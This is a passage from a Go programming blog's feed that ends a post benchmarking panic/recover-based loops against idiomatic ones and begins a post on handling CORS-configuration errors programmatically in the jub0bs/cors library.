method</a> do check out <a href="https://tip.golang.org/doc/go1.24#new-benchmark-function" target="_blank" rel="noopener">the Go 1.24 release notes</a>.)</p>
<p>Let&rsquo;s run those benchmarks on a relatively idle machine
and feed the results to <a href="https://pkg.go.dev/golang.org/x/perf/cmd/benchstat" target="_blank" rel="noopener"><code>benchstat</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go test -run <span style="color:#e6db74">&#39;^$&#39;</span> -bench . -count <span style="color:#ae81ff">10</span> -benchmem &gt; results.txt
</span></span><span style="display:flex;"><span>$ benchstat -col <span style="color:#e6db74">&#39;/impl@(idiomatic panic-recover)&#39;</span> results.txt
</span></span><span style="display:flex;"><span>goos: darwin
</span></span><span style="display:flex;"><span>goarch: amd64
</span></span><span style="display:flex;"><span>pkg: github.com/jub0bs/panicabused
</span></span><span style="display:flex;"><span>cpu: Intel<span style="color:#f92672">(</span>R<span style="color:#f92672">)</span> Core<span style="color:#f92672">(</span>TM<span style="color:#f92672">)</span> i7-6700HQ CPU @ 2.60GHz
</span></span><span style="display:flex;"><span>                       │  idiomatic  │              panic-recover              │
</span></span><span style="display:flex;"><span>                       │   sec/op    │    sec/op      vs base                  │
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>0-8        2.239n ± 8%   193.900n ± 1%  +8560.12% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>1-8        2.638n ± 1%   196.400n ± 2%  +7346.45% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>10-8       5.424n ± 1%   199.300n ± 2%  +3574.41% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>100-8      44.69n ± 1%    238.65n ± 4%   +434.01% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>1000-8     371.6n ± 0%     565.8n ± 1%    +52.27% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>10000-8    3.646µ ± 1%     3.906µ ± 0%     +7.15% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>100000-8   36.27µ ± 0%     36.54µ ± 1%     +0.73% <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>geomean                  95.10n          759.9n        +699.03%
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                       │  idiomatic  │        panic-recover         │
</span></span><span style="display:flex;"><span>                       │    B/op     │    B/op     vs base          │
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>0-8        0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>1-8        0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>10-8       0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>100-8      0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>1000-8     0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>10000-8    0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>100000-8   0.00 ± 0%     24.00 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>geomean                            ¹   24.00       ?
</span></span><span style="display:flex;"><span>¹ summaries must be &gt;0 to compute geomean
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                       │  idiomatic   │        panic-recover         │
</span></span><span style="display:flex;"><span>                       │  allocs/op   │ allocs/op   vs base          │
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>0-8        0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>1-8        0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>10-8       0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>100-8      0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>1000-8     0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>10000-8    0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>ClimbAll/size<span style="color:#f92672">=</span>100000-8   0.000 ± 0%     1.000 ± 0%  ? <span style="color:#f92672">(</span>p<span style="color:#f92672">=</span>0.000 n<span style="color:#f92672">=</span>10<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>geomean                             ¹   1.000       ?
</span></span><span style="display:flex;"><span>¹ summaries must be &gt;0 to compute geomean
</span></span></code></pre></div><p>The results speak for themselves: <code>ClimbAllPanicRecover</code> is lumberingly slow in
comparison to <code>ClimbAll</code> for small enough input slices, for which
the cost of <code>panic</code> and <code>recover</code> visibly dominates execution time.  This
observation echoes Bloch&rsquo;s first counterargument: <code>panic</code> and <code>recover</code>,
because their use is intended for truly exceptional circumstances, have no
reason to be particularly fast.</p>
<p>Moreover, each call to <code>ClimbAllPanicRecover</code> incurs an allocation of 24 bytes
(on my 64-bit system, at least); although <a href="https://gophers.slack.com/archives/C0VP8EF3R/p1740484183419749" target="_blank" rel="noopener">details are scarce</a>, this
heap allocation can be attributed to a <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.0:src/runtime/error.go;l=116" target="_blank" rel="noopener"><code>runtime.boundsError</code></a>
with which the Go runtime eventually panics when the value of variable <code>i</code>
reaches <code>len(mountains)</code>.  In comparison, <code>ClimbAll</code> never allocates and,
therefore, doesn&rsquo;t exert any unnecessary pressure on the garbage collector.</p>
<p>Only as the length of the input slice increases does the performance gap
between the two implementations close, as the cost of <code>panic</code> and <code>recover</code>
effectively drowns out in the rest of the workload.</p>
<h3 id="recover-precludes-inlining">Recover precludes inlining <a href="#recover-precludes-inlining">¶</a></h3>
<p>At this stage, astute readers may suggest that <code>ClimbAllPanicRecover</code>&rsquo;s
disadvantage can be explained, at least in part, by <a href="https://en.wikipedia.org/wiki/Inline_expansion" target="_blank" rel="noopener"><em>inlining</em></a>.
Inlining is a compiler strategy that can be roughly described as &ldquo;replacing a
function call by the body of that function&rdquo;. In many cases, inlining results in
a speedup of execution.
However, <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.0:src/cmd/compile/internal/inline/inl.go;l=640" target="_blank" rel="noopener">functions that contain defer statements cannot be
inlined</a>, and <a href="https://cs.opensource.google/go/go/&#43;/refs/tags/go1.24.0:src/cmd/compile/internal/inline/inl.go;l=620" target="_blank" rel="noopener">neither can functions that contain calls to
<code>recover</code></a>.  Therefore, contrary to <code>ClimbAll</code>,
neither <code>ClimbAllPanicRecover</code> nor the anonymous function whose call it defers can be
inlined.  Close inspection of the optimisation decisions made by the compiler
while building our program confirms that much:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-m=2&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># github.com/jub0bs/panicabused</span>
</span></span><span style="display:flex;"><span>./main.go:7:6: can inline <span style="color:#f92672">(</span>*Mountain<span style="color:#f92672">)</span>.Climb with cost <span style="color:#ae81ff">4</span> as: method<span style="color:#f92672">(</span>*Mountain<span style="color:#f92672">)</span> func<span style="color:#f92672">()</span> <span style="color:#f92672">{</span> m.climbed <span style="color:#f92672">=</span> true <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>./main.go:17:8: cannot inline ClimbAllPanicRecover.func1: call to recover
</span></span><span style="display:flex;"><span>./main.go:16:6: cannot inline ClimbAllPanicRecover: unhandled op DEFER
</span></span><span style="display:flex;"><span>./main.go:11:6: can inline main with cost <span style="color:#ae81ff">66</span> as: func<span style="color:#f92672">()</span> <span style="color:#f92672">{</span> mountains :<span style="color:#f92672">=</span> make<span style="color:#f92672">([]</span>Mountain, 8<span style="color:#f92672">)</span>; ClimbAllPanicRecover<span style="color:#f92672">(</span>mountains<span style="color:#f92672">)</span> <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>./main.go:25:6: can inline ClimbAll with cost <span style="color:#ae81ff">14</span> as: func<span style="color:#f92672">([]</span>Mountain<span style="color:#f92672">)</span> <span style="color:#f92672">{</span> <span style="color:#66d9ef">for</span> loop <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>-snip-
</span></span></code></pre></div><p>This observation echoes Bloch&rsquo;s second counterargument: relying on <code>panic</code>
and <code>recover</code> inhibits certain optimisations that the Go compiler might otherwise
perform.</p>
<p>Is the lack of inlining to blame for <code>ClimbAllPanicRecover</code>&rsquo;s lacklustre
performance, though? Evidently not: I selectively disabled inlining for
<code>ClimbAll</code> by slapping <a href="https://pkg.go.dev/cmd/compile#hdr-Function_Directives" target="_blank" rel="noopener">a <code>go:noinline</code> directive</a> on it
and re-ran the benchmarks, but found that <code>ClimbAll</code> still vastly outperformed
<code>ClimbAllPanicRecover</code> for all but large input slices.
However, do keep in mind that, in more realistic scenarios, an impossibility
to inline a given function may noticeably harm performance.</p>
<h3 id="no-bounds-check-elimination-for-the-unidiomatic-implementation">No bounds-check elimination for the unidiomatic implementation <a href="#no-bounds-check-elimination-for-the-unidiomatic-implementation">¶</a></h3>
<p>Like Java, Go is said to be memory-safe; in particular, <a href="https://go.dev/ref/spec#Index_expressions" target="_blank" rel="noopener">per the language
specification</a>, implementations must trigger a run-time panic
if a slice-indexing operation is ever out of bounds.  Such bounds checks are
relatively cheap, but they are not free.  When the compiler can prove that
some slice access cannot be out of bounds, it may
<a href="https://en.wikipedia.org/wiki/Bounds-checking_elimination" target="_blank" rel="noopener">omit, for better performance, the corresponding bounds check</a> from the
resulting executable.  Besides, <a href="https://go101.org/article/bounds-check-elimination.html" target="_blank" rel="noopener">advanced programming techniques</a>
exist for gently nudging the compiler towards more bounds-check elimination.</p>
<p>In the specific case of our little program,
the compiler can eliminate the bounds checks in <code>ClimbAll</code>&rsquo;s loop,
but not in <code>ClimbAllPanicRecover</code>&rsquo;s:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go build -gcflags <span style="color:#e6db74">&#39;-d=ssa/check_bce/debug=1&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># github.com/jub0bs/panicabused</span>
</span></span><span style="display:flex;"><span>./main.go:17:12: Found IsInBounds
</span></span></code></pre></div><p>This observation echoes Bloch&rsquo;s third counterargument:
the idiomatic approach is more conducive to bounds-check elimination.</p>
<h2 id="what-about-internal-handling-of-failure-cases">What about internal handling of failure cases? <a href="#what-about-internal-handling-of-failure-cases">¶</a></h2>
<p>At this stage, my facetious example may have convinced you that abusing
<code>panic</code> and <code>recover</code> for control flow is not only unidiomatic but also detrimental
to performance.
More seriously, though, you may come across open-source projects that rely on
<code>panic</code> and <code>recover</code> for handling internal failure cases. In fact, look no further
than the standard library: this style is in full display in packages such as
<a href="https://pkg.go.dev/text/template" target="_blank" rel="noopener">text/template</a>, <a href="https://pkg.go.dev/encoding/json" target="_blank" rel="noopener">encoding/json</a>,
<a href="https://pkg.go.dev/encoding/gob" target="_blank" rel="noopener">encoding/gob</a>, and <a href="https://pkg.go.dev/regexp/syntax" target="_blank" rel="noopener">regexp/syntax</a>.</p>
<p>Expediency seems to be the primary motivation. Indeed, when the call stack is
deep (perhaps on account of numerous recursive calls), relying on <code>panic</code> and
<code>recover</code> obviates the need for much boilerplate; the error-handling logic can
be centralised further up the stack, at the point of panic recovery, and the
happy path can remain in focus.</p>
<hr>
<p>Panics should not be recovered too indiscriminately, though;
a bug that triggers a panic will remain masked if a call to <code>recover</code>
inadvertently swallows that panic:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">ClimbAllPanic</span>(<span style="color:#a6e22e">mountains</span> []<span style="color:#a6e22e">Mountain</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">defer</span> <span style="color:#66d9ef">func</span>() {
</span></span><span style="display:flex;"><span>    recover()
</span></span><span style="display:flex;"><span>  }()
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>; ; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mountains</span>[<span style="color:#a6e22e">i</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>].<span style="color:#a6e22e">Climb</span>() <span style="color:#75715e">// off-by-one error</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>(<a href="https://go.dev/play/p/VEsR04kjEp3" target="_blank" rel="noopener">playground</a>)</p>
<p>See <a href="https://github.com/golang/go/issues/23012" target="_blank" rel="noopener">issue 23012</a> for an example of such a problem in package
<a href="https://pkg.go.dev/encoding/json" target="_blank" rel="noopener">encoding/json</a>.</p>
<hr>
<p>But another, more surprising motivation for such a style is&hellip; performance!
For instance, <a href="https://www.dolthub.com/blog/2023-04-14-keep-calm-and-panic/" target="_blank" rel="noopener">Max Hoffman</a> and <a href="https://dr-knz.net/go-errors-vs-exceptions-2020.html" target="_blank" rel="noopener">Raphael Poss</a> separately report
impressive speedups (on the happy path of their program, at least) thanks to
this style.  Explanations include</p>
<ul>
<li>a decreased need for intermediate function results, and</li>
<li>comparatively fewer code branches, hence fewer opportunities for <a href="https://en.wikipedia.org/wiki/Branch_predictor" target="_blank" rel="noopener">branch mispredictions</a>.</li>
</ul>
<p>So it seems that <code>panic</code> and <code>recover</code> <em>can</em> be beneficial to performance in at
least <em>some</em> situations.</p>
<p>Should you try to emulate this style? Up to you. However, if you go down that road,
do justify your design decision with a clarifying comment and perhaps
some benchmark results; if you cannot provide such justification, you&rsquo;re perhaps
being <em>too</em> clever.  Also, make sure to <a href="https://golang.org/doc/effective_go#recover" target="_blank" rel="noopener">keep this design decision as an
implementation detail of your package</a>; don&rsquo;t let panics that
should remain internal leak through your package&rsquo;s API, as your clients would
then regrettably be forced to deal with them.</p>
<h2 id="acknowledgements">Acknowledgements <a href="#acknowledgements">¶</a></h2>
<p>Thanks to the members of <a href="https://gophers.slack.com/" target="_blank" rel="noopener">the Gophers Slack workspace</a> who lurk in
<a href="https://app.slack.com/client/T029RQSE6/C0VP8EF3R" target="_blank" rel="noopener">the #performance channel</a> for <a href="https://gophers.slack.com/archives/C0VP8EF3R/p1740068676116669" target="_blank" rel="noopener">an enlightening discussion</a>,
which fed into this post.</p>
]]></content>
        </item>
        
        <item>
            <title>Programmatic handling of CORS-configuration errors with jub0bs/cors</title>
            <link>//jub0bs.com/posts/2025-01-28-programmatic-handling-of-cors-configuration-errors/</link>
            <pubDate>Tue, 28 Jan 2025 14:40:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2025-01-28-programmatic-handling-of-cors-configuration-errors/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/jub0bs/cors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jub0bs/cors&lt;/a&gt; v0.5.0 now lets you handle CORS-configuration errors
programmatically.&lt;/li&gt;
&lt;li&gt;This feature should be of interest to you
if you&amp;rsquo;re a multi-tenant service provider
and you let your tenants configure CORS for their instances.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;jub0bscorss-commitment-to-configuration-validation&#34;&gt;jub0bs/cors&amp;rsquo;s commitment to configuration validation &lt;a href=&#34;#jub0bscorss-commitment-to-configuration-validation&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;One long-standing and distinguishing feature of &lt;a href=&#34;https://github.com/jub0bs/cors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jub0bs/cors&lt;/a&gt; is extensive
configuration validation, motivated by my desire to
&lt;a href=&#34;https://jub0bs.com/posts/2023-02-08-fearless-cors/#5-validate-configuration-and-fail-fast&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;rule out dysfunctional CORS middleware&lt;/a&gt; and to
&lt;a href=&#34;https://jub0bs.com/posts/2023-02-08-fearless-cors/#10-render-insecure-configurations-impossible&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;discourage the instantiation of insecure CORS middleware&lt;/a&gt;.
When your CORS configuration contains mistakes,
the library indeed detects them and reports them as a &amp;ldquo;&lt;a href=&#34;https://tip.golang.org/doc/go1.20#errors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;multi-error&lt;/a&gt;&amp;rdquo;.
For instance, you may attempt to (incorrectly) configure a CORS middleware as
shown in &lt;a href=&#34;https://go.dev/play/p/ZLyyxWTlYp2&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;the program below&lt;/a&gt;:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<ul>
<li><a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> v0.5.0 now lets you handle CORS-configuration errors
programmatically.</li>
<li>This feature should be of interest to you
if you&rsquo;re a multi-tenant service provider
and you let your tenants configure CORS for their instances.</li>
</ul>
<h2 id="jub0bscorss-commitment-to-configuration-validation">jub0bs/cors&rsquo;s commitment to configuration validation <a href="#jub0bscorss-commitment-to-configuration-validation">¶</a></h2>
<p>One long-standing and distinguishing feature of <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> is extensive
configuration validation, motivated by my desire to
<a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#5-validate-configuration-and-fail-fast" target="_blank" rel="noopener">rule out dysfunctional CORS middleware</a> and to
<a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#10-render-insecure-configurations-impossible" target="_blank" rel="noopener">discourage the instantiation of insecure CORS middleware</a>.
When your CORS configuration contains mistakes,
the library indeed detects them and reports them as a &ldquo;<a href="https://tip.golang.org/doc/go1.20#errors" target="_blank" rel="noopener">multi-error</a>&rdquo;.
For instance, you may attempt to (incorrectly) configure a CORS middleware as
shown in <a href="https://go.dev/play/p/ZLyyxWTlYp2" target="_blank" rel="noopener">the program below</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;io&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;github.com/jub0bs/cors&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Origins</span>:         []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;*&#34;</span>},
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Credentialed</span>:    <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Methods</span>:         []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;POS T&#34;</span>},
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">ResponseHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;Set-Cookie&#34;</span>},
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintln</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Fortunately for you, the library refuses to instantiate such a dysfunctional
and insecure CORS middleware and emits the following error message:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>cors: invalid method &#34;POS T&#34;
</span></span><span style="display:flex;"><span>cors: forbidden response-header name &#34;Set-Cookie&#34;
</span></span><span style="display:flex;"><span>cors: for security reasons, you cannot both allow all origins and enable credentialed access
</span></span></code></pre></div><h2 id="the-need-for-programmatic-handling-of-cors-configuration-errors">The need for programmatic handling of CORS-configuration errors <a href="#the-need-for-programmatic-handling-of-cors-configuration-errors">¶</a></h2>
<p>Such an error message as the one shown above is sufficient for most importers
to correct their CORS configuration and move on.
However, there are (arguably rare) cases where the program and the CORS configuration are
authored by different entities, and such cases call for
something more powerful than an undistinguished string error message.</p>
<p>Picture, for example, a multi-tenant service provider that enables,
perhaps via some Web interface and/or some command-line interface,
each of its tenants to configure CORS for their instance of the service.
When a tenant misconfigures CORS, the service provider somehow needs
to explain the reasons for misconfiguration to the tenant,
so that the tenant can accordingly take remedial action.
Simply forwarding the error messages produced by <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>
to the tenant is tempting and expedient, but it&rsquo;s far from ideal:
the level of detail, wording, format, and/or natural language (English)
of those messages may indeed be inadequate for the tenant.
The service provider may instead wish to produce more palatable messages,
such as this one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>[
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;\&#34;POS T\&#34; is not a valid HTTP method. Did you mean \&#34;POST\&#34;?&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;\&#34;Set-Cookie\&#34; is not a response header that can be exposed.&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;You cannot allow access from all origins with cookies.&#34;</span>
</span></span><span style="display:flex;"><span>]
</span></span></code></pre></div><p>To do so, the service provider would need to
inspect the errors emitted by <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>,
make sense of them, and
extract contextual information (such as <code>&quot;POS T&quot;</code> and <code>&quot;Set-Cookie&quot;</code>) from them.
Unfortunately, up until recently,
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> used to be regrettably limited in that regard.
The service provider in my example would have had no other choice
but to parse the messages of those errors
(i.e. the output of the latter&rsquo;s <a href="https://pkg.go.dev/builtin#error.Error" target="_blank" rel="noopener"><code>Error</code> method</a>),
a practice that is widely discouraged, and for good reasons.
Jon Amsterdam, a member of the Go team, has <a href="https://www.youtube.com/watch?v=IKoSsJFdRtI&amp;t=71s" target="_blank" rel="noopener">this nice saying</a>:</p>
<blockquote>
<p>Errors have two audiences: people and programs.</p>
</blockquote>
<p>This pithy statement reflects the dual nature of errors.
Error <em>messages</em> are to be consumed by people, not by programs.
Few programs should parse error messages,
because such parsing is extremely brittle:
a single change to the format of an error message may break the parsing logic.
Moreover, convention in the Go community dictates that error messages are not
part of a package&rsquo;s API and that package authors may freely change them
from one version to the next (be it a major, minor, or patch version).
Therefore, package authors who wish to allow programs to extract information
from their package&rsquo;s error values should provide a <em>programmatic</em> way of doing so.</p>
<p>To properly support programmatic handling of CORS-configuration errors,
I realised that I needed to introduce and export concrete error types
corresponding to the various reasons for CORS misconfiguration.
Resolved to implement this feature at some stage,
I filed <a href="https://github.com/jub0bs/cors/issues/9" target="_blank" rel="noopener">issue 9 on GitHub</a> and added it to my backlog.</p>
<h2 id="one-chance-to-get-it-right">&ldquo;One chance to get it right&rdquo; <a href="#one-chance-to-get-it-right">¶</a></h2>
<p>If you&rsquo;re like me,
broadening the exported surface area of your package should fill you with dread.
As Josh Bloch puts it in <a href="https://www.youtube.com/watch?v=aAb7hSCtvGw&amp;t=198s" target="_blank" rel="noopener">his legendary API-design talk</a>,</p>
<blockquote>
<p>You have one chance to get it right.</p>
</blockquote>
<p>Adding symbols to a package is deceptively easy,
but modifying symbols without breaking existing clients may prove difficult,
and removing symbols altogether is painful because it requires a major-version bump.
Make one design mistake, and you may be stuck with it until the release of the
next major version of your library.
Accordingly, the decision to export more stuff should be deliberate
and carefully considered;
endeavour to keep your options open and avoid making promises you may want to
break in the future.</p>
<p>Because <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> still hasn&rsquo;t seen a v1 release,
any breaking change is technically fair game;
however, I avoid breaking changes like the plague,
for fear of user churn.
These considerations may explain why I ended up addressing <a href="https://github.com/jub0bs/cors/issues/9" target="_blank" rel="noopener">issue 9</a> only belatedly.</p>
<h2 id="defining-some-errors-out-of-existence">Defining some errors out of existence <a href="#defining-some-errors-out-of-existence">¶</a></h2>
